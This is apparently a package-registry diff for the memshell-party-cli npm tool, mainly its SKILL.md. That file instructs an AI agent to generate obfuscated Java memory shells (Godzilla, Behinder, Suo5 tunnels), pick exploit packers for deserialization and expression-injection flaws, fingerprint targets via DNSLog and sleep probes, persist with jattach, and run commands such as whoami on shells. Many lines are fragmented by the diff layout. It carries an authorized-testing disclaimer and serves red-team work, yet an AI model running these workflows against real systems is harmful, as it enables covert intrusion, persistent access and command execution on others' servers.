memshell-party-cli 0.7.0 → 0.8.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +70 -11
- package/README.md +36 -2
- package/dist/cli.js +1095 -325
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +122 -11
- package/dist/index.js +1207 -212
- package/dist/index.js.map +1 -1
- package/package.json +3 -1
- package/skills/memshell-party/SKILL.md +547 -494
|
@@ -1,494 +1,547 @@
|
|
|
1
|
-
---
|
|
2
|
-
name: memshell-party
|
|
3
|
-
description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), verify deployed shells with `memparty connect`, run commands on them with `memparty exec`, and transfer files with `memparty upload`/`memparty download`. Includes the `mimic` site-mimicking protocol: the agent hand-writes a site profile (`memparty profile init`) so shell traffic blends into real business pages. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, test that a Godzilla / Behinder / suo5 shell is alive, execute commands on a Godzilla / Behinder shell, or move files through one — for authorized security testing, red-team engagements, or research only.
|
|
4
|
-
---
|
|
5
|
-
|
|
6
|
-
# MemShellParty skill
|
|
7
|
-
|
|
8
|
-
Generate Java memory shells and probe shells via the MemShellParty backend (`https://party.mem.mk`
|
|
9
|
-
by default, or a self-hosted instance). The same HTTP API powers the `party.mem.mk/ui` web app.
|
|
10
|
-
|
|
11
|
-
> ⚠️ Authorized testing only. Never generate or deploy a payload against a target you do not own or
|
|
12
|
-
> do not have explicit written permission to test. You are responsible for how these payloads are used.
|
|
13
|
-
|
|
14
|
-
## How to talk to the tool
|
|
15
|
-
|
|
16
|
-
Two equivalent interfaces — pick whichever is available:
|
|
17
|
-
|
|
18
|
-
- **CLI**: `memparty <command> [flags]` (install: `npm install -g memshell-party-cli`, or `npx memshell-party-cli`).
|
|
19
|
-
- **MCP tools** (if the `memshell-party` MCP server is connected): `list_servers`, `list_config`,
|
|
20
|
-
`list_packers`, `list_command_configs`, `generate_memshell`, `generate_probe`, `parse_classname`,
|
|
21
|
-
`server_version`, `connect_test`, `exec_command`, `download_file`, `upload_file`, `target_save`,
|
|
22
|
-
`target_note`, `target_list`, `target_remove`, `log_list`.
|
|
23
|
-
|
|
24
|
-
The CLI is the source of truth for examples below; MCP tool args mirror the CLI flags
|
|
25
|
-
(`-s/--server` → `server`, `-t/--tool` → `shellTool`, `-y/--type` → `shellType`, `-p/--packer` → `packer`).
|
|
26
|
-
|
|
27
|
-
## Step 0 — Discover, don't guess
|
|
28
|
-
|
|
29
|
-
The backend supports ~
|
|
30
|
-
hard-code a server/packer name from memory.** Always enumerate first:
|
|
31
|
-
|
|
32
|
-
```bash
|
|
33
|
-
memparty config servers # every server + its shell types
|
|
34
|
-
memparty config tools Tomcat # one server's tools + types
|
|
35
|
-
memparty config packers # packer parent/child tree
|
|
36
|
-
memparty config command # Command-tool encryptors & implementation classes
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
|
59
|
-
|
|
60
|
-
| `
|
|
61
|
-
| `
|
|
62
|
-
| `
|
|
63
|
-
| `
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
`
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
|
84
|
-
|
|
85
|
-
|
|
|
86
|
-
|
|
|
87
|
-
|
|
|
88
|
-
|
|
|
89
|
-
| `
|
|
90
|
-
|
|
|
91
|
-
|
|
|
92
|
-
|
|
|
93
|
-
|
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
| `
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
-
|
|
143
|
-
-
|
|
144
|
-
- `--
|
|
145
|
-
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
-
|
|
149
|
-
|
|
150
|
-
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
`
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
- `--
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
`
|
|
201
|
-
|
|
202
|
-
## Step
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
memparty
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
`
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
|
|
252
|
-
|
|
253
|
-
|
|
254
|
-
|
|
255
|
-
|
|
256
|
-
|
|
257
|
-
|
|
258
|
-
|
|
259
|
-
|
|
260
|
-
|
|
261
|
-
|
|
262
|
-
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
|
|
281
|
-
|
|
282
|
-
|
|
283
|
-
|
|
284
|
-
|
|
285
|
-
|
|
286
|
-
|
|
287
|
-
|
|
288
|
-
|
|
289
|
-
|
|
290
|
-
|
|
291
|
-
|
|
292
|
-
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
|
|
296
|
-
|
|
297
|
-
|
|
298
|
-
|
|
299
|
-
|
|
300
|
-
|
|
301
|
-
|
|
302
|
-
|
|
303
|
-
|
|
304
|
-
|
|
305
|
-
|
|
306
|
-
|
|
307
|
-
|
|
308
|
-
|
|
309
|
-
|
|
310
|
-
|
|
311
|
-
|
|
312
|
-
|
|
313
|
-
|
|
314
|
-
|
|
315
|
-
|
|
316
|
-
|
|
317
|
-
|
|
318
|
-
|
|
319
|
-
|
|
320
|
-
|
|
321
|
-
|
|
322
|
-
|
|
323
|
-
|
|
324
|
-
|
|
325
|
-
|
|
326
|
-
|
|
327
|
-
|
|
328
|
-
|
|
329
|
-
|
|
330
|
-
"
|
|
331
|
-
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
|
|
336
|
-
|
|
337
|
-
|
|
338
|
-
|
|
339
|
-
|
|
340
|
-
|
|
341
|
-
|
|
342
|
-
|
|
343
|
-
|
|
344
|
-
|
|
345
|
-
|
|
346
|
-
|
|
347
|
-
|
|
348
|
-
|
|
349
|
-
|
|
350
|
-
|
|
351
|
-
|
|
352
|
-
|
|
353
|
-
|
|
354
|
-
|
|
355
|
-
|
|
356
|
-
|
|
357
|
-
|
|
358
|
-
|
|
359
|
-
|
|
360
|
-
|
|
361
|
-
|
|
362
|
-
|
|
363
|
-
|
|
364
|
-
```
|
|
365
|
-
|
|
366
|
-
|
|
367
|
-
|
|
368
|
-
|
|
369
|
-
|
|
370
|
-
|
|
371
|
-
|
|
372
|
-
|
|
373
|
-
|
|
374
|
-
|
|
375
|
-
|
|
376
|
-
|
|
377
|
-
|
|
378
|
-
|
|
379
|
-
|
|
380
|
-
|
|
381
|
-
|
|
382
|
-
|
|
383
|
-
|
|
384
|
-
|
|
385
|
-
|
|
386
|
-
|
|
387
|
-
|
|
388
|
-
|
|
389
|
-
|
|
390
|
-
|
|
391
|
-
|
|
392
|
-
|
|
393
|
-
|
|
394
|
-
|
|
395
|
-
|
|
396
|
-
|
|
397
|
-
|
|
398
|
-
|
|
399
|
-
|
|
400
|
-
|
|
401
|
-
|
|
402
|
-
|
|
403
|
-
|
|
404
|
-
|
|
405
|
-
|
|
406
|
-
|
|
407
|
-
|
|
408
|
-
|
|
409
|
-
|
|
410
|
-
|
|
411
|
-
|
|
412
|
-
|
|
413
|
-
|
|
414
|
-
|
|
415
|
-
|
|
416
|
-
|
|
417
|
-
|
|
418
|
-
|
|
419
|
-
|
|
420
|
-
|
|
421
|
-
|
|
422
|
-
|
|
423
|
-
|
|
424
|
-
|
|
425
|
-
|
|
426
|
-
|
|
427
|
-
|
|
428
|
-
|
|
429
|
-
|
|
430
|
-
|
|
431
|
-
|
|
432
|
-
|
|
433
|
-
|
|
434
|
-
|
|
435
|
-
|
|
436
|
-
|
|
437
|
-
|
|
438
|
-
|
|
439
|
-
|
|
440
|
-
|
|
441
|
-
|
|
442
|
-
|
|
443
|
-
|
|
444
|
-
|
|
445
|
-
|
|
446
|
-
|
|
447
|
-
|
|
448
|
-
|
|
449
|
-
|
|
450
|
-
|
|
451
|
-
|
|
452
|
-
`
|
|
453
|
-
|
|
454
|
-
|
|
455
|
-
|
|
456
|
-
|
|
457
|
-
|
|
458
|
-
|
|
459
|
-
|
|
460
|
-
|
|
461
|
-
|
|
462
|
-
|
|
463
|
-
|
|
464
|
-
|
|
465
|
-
|
|
466
|
-
|
|
467
|
-
|
|
468
|
-
|
|
469
|
-
|
|
470
|
-
|
|
471
|
-
|
|
472
|
-
|
|
473
|
-
-
|
|
474
|
-
target's
|
|
475
|
-
|
|
476
|
-
|
|
477
|
-
|
|
478
|
-
|
|
479
|
-
|
|
480
|
-
|
|
481
|
-
|
|
482
|
-
|
|
483
|
-
|
|
484
|
-
|
|
485
|
-
|
|
486
|
-
|
|
487
|
-
|
|
488
|
-
|
|
489
|
-
|
|
490
|
-
|
|
491
|
-
|
|
492
|
-
|
|
493
|
-
|
|
494
|
-
|
|
1
|
+
---
|
|
2
|
+
name: memshell-party
|
|
3
|
+
description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), verify deployed shells with `memparty connect`, run commands on them with `memparty exec`, and transfer files with `memparty upload`/`memparty download`. Includes the `mimic` site-mimicking protocol: the agent hand-writes a site profile (`memparty profile init`) so shell traffic blends into real business pages. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, test that a Godzilla / Behinder / suo5 shell is alive, execute commands on a Godzilla / Behinder shell, or move files through one — for authorized security testing, red-team engagements, or research only.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# MemShellParty skill
|
|
7
|
+
|
|
8
|
+
Generate Java memory shells and probe shells via the MemShellParty backend (`https://party.mem.mk`
|
|
9
|
+
by default, or a self-hosted instance). The same HTTP API powers the `party.mem.mk/ui` web app.
|
|
10
|
+
|
|
11
|
+
> ⚠️ Authorized testing only. Never generate or deploy a payload against a target you do not own or
|
|
12
|
+
> do not have explicit written permission to test. You are responsible for how these payloads are used.
|
|
13
|
+
|
|
14
|
+
## How to talk to the tool
|
|
15
|
+
|
|
16
|
+
Two equivalent interfaces — pick whichever is available:
|
|
17
|
+
|
|
18
|
+
- **CLI**: `memparty <command> [flags]` (install: `npm install -g memshell-party-cli`, or `npx memshell-party-cli`).
|
|
19
|
+
- **MCP tools** (if the `memshell-party` MCP server is connected): `list_servers`, `list_config`,
|
|
20
|
+
`list_packers`, `list_command_configs`, `list_shell_tool_configs`, `list_plugins`, `list_remote_options`, `list_obfuscation_options`, `generate_memshell`, `generate_probe`, `bytecode_decode`, `bytecode_transform`, `parse_classname`,
|
|
21
|
+
`server_version`, `connect_test`, `exec_command`, `download_file`, `upload_file`, `target_save`,
|
|
22
|
+
`target_note`, `target_list`, `target_remove`, `log_list`.
|
|
23
|
+
|
|
24
|
+
The CLI is the source of truth for examples below; MCP tool args mirror the CLI flags
|
|
25
|
+
(`-s/--server` → `server`, `-t/--tool` → `shellTool`, `-y/--type` → `shellType`, `-p/--packer` → `packer`).
|
|
26
|
+
|
|
27
|
+
## Step 0 — Discover, don't guess
|
|
28
|
+
|
|
29
|
+
The backend supports ~17 servers, 9 shell tools, dozens of shell types, and 60+ packers. **Never
|
|
30
|
+
hard-code a server/packer name from memory.** Always enumerate first:
|
|
31
|
+
|
|
32
|
+
```bash
|
|
33
|
+
memparty config servers # every server + its shell types
|
|
34
|
+
memparty config tools Tomcat # one server's tools + types
|
|
35
|
+
memparty config packers # packer parent/child tree
|
|
36
|
+
memparty config command # Command-tool encryptors & implementation classes
|
|
37
|
+
memparty config tool-configs # v3+ shell-tool fields & enum choices
|
|
38
|
+
memparty config obfuscation # v3+ obfuscation options
|
|
39
|
+
memparty config plugins # v3.1+ external plugin metadata/load status
|
|
40
|
+
memparty config remote-options PluginTool target --url https://example.com/options --json
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
Add `--json` for machine-readable output. Use the exact strings these return.
|
|
44
|
+
|
|
45
|
+
Sanity-check backend reachability first with `memparty version` (prints the CLI and backend
|
|
46
|
+
versions; over MCP: `server_version`).
|
|
47
|
+
|
|
48
|
+
## Step 1 — Pick the four core options
|
|
49
|
+
|
|
50
|
+
Every memory shell needs **server → shell tool → shell type → packer**.
|
|
51
|
+
|
|
52
|
+
### server
|
|
53
|
+
The target middleware/framework. Match it to the actual target (e.g. `Tomcat`, `Jetty`,
|
|
54
|
+
`SpringWebMvc`, `JBoss`, `WebLogic`, `Undertow`, `Resin`, `Struts2`…). Use `memparty config servers`
|
|
55
|
+
to confirm it's supported. If you only know "it's a Spring Boot app", that's `SpringWebMvc`.
|
|
56
|
+
|
|
57
|
+
### shell tool (what the memshell does once injected)
|
|
58
|
+
| Tool | Use when |
|
|
59
|
+
|------|----------|
|
|
60
|
+
| `Godzilla` | Godzilla-compatible encrypted webshell (pass + key) |
|
|
61
|
+
| `GodzillaSession` | v3+ session-backed Godzilla-compatible shell (pass + key) |
|
|
62
|
+
| `Behinder` | Behinder ("冰蝎") encrypted webshell (pass) |
|
|
63
|
+
| `AntSword` | AntSword ("蚁剑") webshell (pass) |
|
|
64
|
+
| `Command` | Single command execution / RCE (param name + encryptor) |
|
|
65
|
+
| `Suo5` | SOCKS5 proxy tunnel (v3 uses the former Suo5v2 protocol) |
|
|
66
|
+
| `NeoreGeorg` | NeoreGeorg tunneling shell |
|
|
67
|
+
| `Proxy` | Generic proxy (often WebSocket-based) |
|
|
68
|
+
| `Custom` | Your own `.class` bytecode (`--shell-class-file` or `--shell-class-base64`) |
|
|
69
|
+
|
|
70
|
+
### shell type (where it hooks into the server)
|
|
71
|
+
`Listener`, `Filter`, `Servlet`, `Valve`, `Handler`, `Customizer`… plus `Jakarta*` variants and
|
|
72
|
+
`Agent*` variants. Rules of thumb:
|
|
73
|
+
- **`Jakarta`-prefixed types** → target uses **Jakarta EE** (Servlet 5+, e.g. Tomcat 10+, Spring Boot 3).
|
|
74
|
+
Non-prefixed → **javax** (Servlet 3/4, Tomcat 9 and below, Spring Boot 2).
|
|
75
|
+
- **`Agent`-prefixed types** → attach via a Java agent (needs the `AgentJar*` packer family, not class bytes).
|
|
76
|
+
- **`WebSocket*` / `Upgrade`** → hijack a WebSocket / HTTP-upgrade endpoint (stealthier; survives fewer
|
|
77
|
+
filters). `Proxy` tool commonly pairs with `WebSocket` types.
|
|
78
|
+
- Not every tool supports every type — `memparty config tools <server>` shows the legal combinations.
|
|
79
|
+
|
|
80
|
+
### packer (how to deliver/instantiate the payload)
|
|
81
|
+
The packer must match the **delivery vector** (the vuln you're exploiting). Pick by scenario:
|
|
82
|
+
|
|
83
|
+
| Scenario / vuln | Packer family (leaf names) |
|
|
84
|
+
|-----------------|----------------------------|
|
|
85
|
+
| Class bytecode, base64 (manual load) | `DefaultBase64`, `Base64URLEncoded`, `GzipBase64` |
|
|
86
|
+
| Drop a JSP file | `JSP`, `ClassLoaderJSP`, `DefineClassJSP`, `JSPX`, … |
|
|
87
|
+
| `Class.forName` / `defineClass` via big int | `BigInteger` |
|
|
88
|
+
| BCEL-encoded classloading | `BCEL` |
|
|
89
|
+
| `TemplatesImpl` (XSLT translet) RCE | `JDKAbstractTransletPacker`, `XalanAbstractTransletPacker`, `OracleAbstractTransletPacker` |
|
|
90
|
+
| Script engine eval (`ScriptEngineManager`) | `ScriptEngine`, `DefaultScriptEngine`, `ScriptEngineBigInteger` |
|
|
91
|
+
| Expression injection | `SpEL`, `OGNL`, `EL`, `MVEL`, `Aviator`, `JEXL`, `JXPath`, `Groovy`, `Velocity`, `Freemarker`, `JinJava`, `BeanShell`, `Rhino` |
|
|
92
|
+
| Java deserialization gadget chain | `JavaCommonsBeanutils19/18/17/16/110`, `JavaCommonsCollections3/4` (under `JavaDeserialize`) |
|
|
93
|
+
| Hessian deserialization | `HessianDeserialize`, `Hessian2Deserialize` (+ `*XSLTScriptEngine` variants) |
|
|
94
|
+
| `XMLDecoder` RCE | `XMLDecoder`, `XMLDecoderScriptEngine`, `XMLDecoderDefineClass` |
|
|
95
|
+
| Java agent attach (needs `Agent*` shell type) | `AgentJar`, `AgentJarWithJDKAttacher`, `AgentJarWithJREAttacher` |
|
|
96
|
+
| H2 DB console / arbitrary JDBC | `H2`, `H2Javac`, `H2JS`, `H2JSURLEncode` |
|
|
97
|
+
| Whole payload as a runnable JAR | `Jar`, `ScriptEngineJar`, `GroovyTransformJar` |
|
|
98
|
+
| XXL-JOB endpoint | `XxlJob` |
|
|
99
|
+
|
|
100
|
+
> **Packer categories vs variants:** on v3, parents like `Base64`, `JSP`, `JavaDeserialize`,
|
|
101
|
+
> `AbstractTranslet`, `ScriptEngine`, `OGNL`, `SpEL`… are only categories. Pick a concrete child.
|
|
102
|
+
> Legacy v2 parents can return several variants (`allPackResults`). Run `memparty config packers`.
|
|
103
|
+
|
|
104
|
+
## Step 2 — Probe (fingerprint first when unsure)
|
|
105
|
+
|
|
106
|
+
If you don't know the target middleware, generate a **probe** to detect it before committing to a
|
|
107
|
+
memshell. Probes have a strict method × content matrix — only these combos work:
|
|
108
|
+
|
|
109
|
+
| Method (`-m`) | Supported contents (`-c`) | Extra flags |
|
|
110
|
+
|---------------|---------------------------|-------------|
|
|
111
|
+
| `DNSLog` | `Server`, `JDK` | `--host <dnslog.domain>` |
|
|
112
|
+
| `Sleep` | `Server` only | `--sleep-server <guess> --seconds N` |
|
|
113
|
+
| `ResponseBody`, `ResponseHeader` | `Server`, `Command`, `Bytecode`, `Filter`, `ScriptEngine` | `--server <guess> --req-param-name <p>` (Command also takes `--command-template`) |
|
|
114
|
+
|
|
115
|
+
> `OS`, `BasicInfo` are enum values but **not usable** through any method — don't use them.
|
|
116
|
+
> `ResponseHeader` is v3+. Optional `--resp-header-name` controls the response header. With
|
|
117
|
+
> `--server Unknown`, the probe identifies the middleware; set `--req-param-name` and send the
|
|
118
|
+
> same name as a request parameter or header to let it find the live request.
|
|
119
|
+
|
|
120
|
+
```bash
|
|
121
|
+
# Blind: does the target resolve our DNS? Which server is it?
|
|
122
|
+
memparty probe -m DNSLog -c Server -p DefaultBase64 --host xxx.dnslog.cn
|
|
123
|
+
|
|
124
|
+
# Time-based blind fingerprint (server responds after N seconds if it's --sleep-server)
|
|
125
|
+
memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
|
|
126
|
+
|
|
127
|
+
# OOB-visible: run a command and echo it into the HTTP response body
|
|
128
|
+
memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name p
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
The detected server name from a probe is exactly the `server` value to use for `memparty gen`.
|
|
132
|
+
|
|
133
|
+
## Step 3 — Generate
|
|
134
|
+
|
|
135
|
+
```bash
|
|
136
|
+
memparty gen -s <server> -t <tool> -y <type> -p <packer> [tool-specific flags] [--jdk <v>]
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
Common tool-specific flags:
|
|
140
|
+
- Godzilla / GodzillaSession: `--godzilla-pass`, `--godzilla-key`
|
|
141
|
+
- Behinder: `--behinder-pass`
|
|
142
|
+
- AntSword: `--antsword-pass`
|
|
143
|
+
- Command: `--command-param-name`, `--encryptor RAW|BASE64|DOUBLE_BASE64`, `--implementation-class RuntimeExec|ForkAndExec`, `--command-template`
|
|
144
|
+
- All webshell tools: `--header-name` / `--header-value` (auth header the shell checks)
|
|
145
|
+
- Custom: `--shell-class-file path.class` (or `--shell-class-base64`)
|
|
146
|
+
- Any built-in or plugin field: repeat `--tool-option name=value`, or use
|
|
147
|
+
`--tool-config <json|path>`. v3.1 `object` fields use a JSON object, not a stringified scalar.
|
|
148
|
+
`--tool-option` overrides matching `--tool-config` keys and legacy convenience flags.
|
|
149
|
+
- Injector: `--url-pattern /*`, `--injector-class-name`, `--no-static-initialize`
|
|
150
|
+
- v3+ obfuscation: `--obfuscate`, `--obfuscation-options enableControlFlow=false,...`,
|
|
151
|
+
`--obfuscation-scope ALL|MEMSHELL_INJECTOR|INJECTOR|MEMSHELL`; probe also accepts the first two.
|
|
152
|
+
|
|
153
|
+
Output:
|
|
154
|
+
- payload → **stdout** by default.
|
|
155
|
+
- `-o shell.class` / `-o shell.jar` → auto base64-decodes and writes binary.
|
|
156
|
+
- `--json` → full response (class names, sizes, base64 bytes, config echo) for downstream tooling.
|
|
157
|
+
- `-o` + `--json` together → the file is still written and the JSON gains an
|
|
158
|
+
`outputFile: {destination, size, decoded}` field — the recommended combo for agents
|
|
159
|
+
(metadata via JSON, payload on disk).
|
|
160
|
+
- `-o` refuses aggregate packers (several variants in `allPackResults`) with an error
|
|
161
|
+
telling you to pick a leaf packer.
|
|
162
|
+
- MCP: `generate_memshell` / `generate_probe` accept an `outputFile` arg with the same
|
|
163
|
+
behavior (auto-decode by extension, write result echoed back as `outputFile`).
|
|
164
|
+
|
|
165
|
+
### External plugins and remote options (v3.1+)
|
|
166
|
+
|
|
167
|
+
Use `config tool-configs` (MCP `list_shell_tool_configs`) before generation. Its `object` type
|
|
168
|
+
accepts a JSON object. A `ui.kind=remote-select` field describes `itemsPath`, `labelPath`,
|
|
169
|
+
optional `valuePath`, `required`, and `urlQueryParam`. Resolve it with `config remote-options`
|
|
170
|
+
(MCP `list_remote_options`): a string field sends the selected ID; an object field sends the
|
|
171
|
+
whole selected object. Supply `--url`/`url`, or set the environment variable named by
|
|
172
|
+
`urlQueryParam`. The interactive wizard performs the same remote selection; if it is the sole
|
|
173
|
+
visible parameter, it automatically selects the first result.
|
|
174
|
+
|
|
175
|
+
```bash
|
|
176
|
+
memparty gen -s Tomcat -t PluginTool -y Filter -p DefaultBase64 \
|
|
177
|
+
--tool-option mode=fast --tool-option 'target={"id":"web-1","name":"Web"}'
|
|
178
|
+
```
|
|
179
|
+
|
|
180
|
+
MCP `generate_memshell` takes `toolOptions: {field: "string"}` or
|
|
181
|
+
`toolOptions: {field: {nested: "object"}}`; `toolOptionJson` is the string-encoded alternative.
|
|
182
|
+
Required remote fields are validated locally when metadata is available. Backend plugin
|
|
183
|
+
`validate()` failures are surfaced unchanged. `config plugins` / `list_plugins` exposes plugin
|
|
184
|
+
metadata and load errors, which are informational and not a trust or permission signal.
|
|
185
|
+
|
|
186
|
+
### Agent persistence and bytecode tools
|
|
187
|
+
|
|
188
|
+
For an Agent shell, `--agent-args persist=true` / `--agent-args restore=true` supplies an
|
|
189
|
+
attach-time argument, not a generation DTO field. It requires an `Agent*` shell type with
|
|
190
|
+
`AgentJar`, `AgentJarWithJDKAttacher`, or
|
|
191
|
+
`AgentJarWithJREAttacher`; `FilelessAgent` is a different delivery mechanism. Use the returned examples:
|
|
192
|
+
`java -jar agent.jar <pid> persist=true` or
|
|
193
|
+
`jattach <pid> load instrument false agent.jar=persist=true`; substitute `restore=true` to
|
|
194
|
+
restore the original jar.
|
|
195
|
+
|
|
196
|
+
`memparty bytecode decode -f Payload.class` decodes a class. `bytecode transform` accepts
|
|
197
|
+
`--relocate-from/--relocate-to`, `--new-class-name`, `--random-name`, `--entry-method`,
|
|
198
|
+
`--obfuscate`, `--probe-method ResponseBody|ResponseHeader`, `--server`, and `-p <packer>`.
|
|
199
|
+
Use `-o` to write the transformed class, or the packed result when a packer is selected.
|
|
200
|
+
MCP equivalents are `bytecode_decode` / `bytecode_transform`.
|
|
201
|
+
|
|
202
|
+
## Step 4 — Verify the shell is alive
|
|
203
|
+
|
|
204
|
+
Once a shell is injected/uploaded, `memparty connect` does the real protocol handshake and tells
|
|
205
|
+
you whether it works (exit 0/1):
|
|
206
|
+
|
|
207
|
+
```bash
|
|
208
|
+
memparty connect -u <shell-url> -t godzilla --pass <pass> --key <key> # defaults pass/key
|
|
209
|
+
memparty connect -u <shell-url> -t behinder --pass <pass> # default rebeyond
|
|
210
|
+
memparty connect -u <shell-url> -t suo5 # add --suo5-mode v2|v1 to force
|
|
211
|
+
```
|
|
212
|
+
|
|
213
|
+
MemShellParty shells check an auth header — take `headerName`/`headerValue` from the
|
|
214
|
+
`gen --json` output (`shellToolConfig`) and pass them along, or every check fails with an empty
|
|
215
|
+
response (the v3 Suo5 shell checks it too):
|
|
216
|
+
|
|
217
|
+
```bash
|
|
218
|
+
memparty connect -u <shell-url> -t godzilla --pass pass --key key \
|
|
219
|
+
--header-name User-Agent --header-value <headerValue-from-gen-json>
|
|
220
|
+
```
|
|
221
|
+
|
|
222
|
+
Over MCP the same check is the `connect_test` tool (`url`, `tool`, `pass`/`key`,
|
|
223
|
+
`headerName`/`headerValue`, `suo5Mode`).
|
|
224
|
+
|
|
225
|
+
Godzilla WebSocket / RawWebSocket uses a `ws://` or `wss://` URL. Tomcat Upgrade uses HTTP
|
|
226
|
+
plus `--upgrade-protocol <fully-qualified-shell-class-name>`; save it with the target. A
|
|
227
|
+
`GodzillaSession` shell connects with `-t godzilla`, which relays its session cookie.
|
|
228
|
+
|
|
229
|
+
Self-signed TLS → add `-k/--insecure`; extra headers (cookies etc.) → repeatable
|
|
230
|
+
`-H "Name: value"`. Both flags exist on `exec` too (over MCP: `insecure`, `timeoutMs`).
|
|
231
|
+
|
|
232
|
+
## Step 5 — Execute commands on the shell
|
|
233
|
+
|
|
234
|
+
Once the handshake passes, `memparty exec` runs a command on a Godzilla / Behinder shell and
|
|
235
|
+
prints the remote stdout+stderr (exit 0/1). Pass the same credentials and gate header as for
|
|
236
|
+
`connect`:
|
|
237
|
+
|
|
238
|
+
```bash
|
|
239
|
+
memparty exec -u <shell-url> -t godzilla --pass pass --key key \
|
|
240
|
+
--header-name User-Agent --header-value <headerValue-from-gen-json> \
|
|
241
|
+
--cmd "whoami"
|
|
242
|
+
memparty exec -u <shell-url> -t behinder --pass rebeyond \
|
|
243
|
+
--header-name User-Agent --header-value <headerValue-from-gen-json> \
|
|
244
|
+
--cmd "id"
|
|
245
|
+
```
|
|
246
|
+
|
|
247
|
+
- Godzilla auto-detects the remote OS via `getBasicsInfo` (one extra request) to pick
|
|
248
|
+
`cmd.exe /c` vs `/bin/sh -c`; add `--os windows|linux` to skip the detection.
|
|
249
|
+
- Behinder's `Cmd` payload detects the OS itself, so no flag is needed.
|
|
250
|
+
- `--json` returns `{ ok, tool, url, command, output, durationMs }` — preferred for agents.
|
|
251
|
+
|
|
252
|
+
Over MCP this is the `exec_command` tool (`url`, `tool`, `command`, `pass`/`key`, `os`,
|
|
253
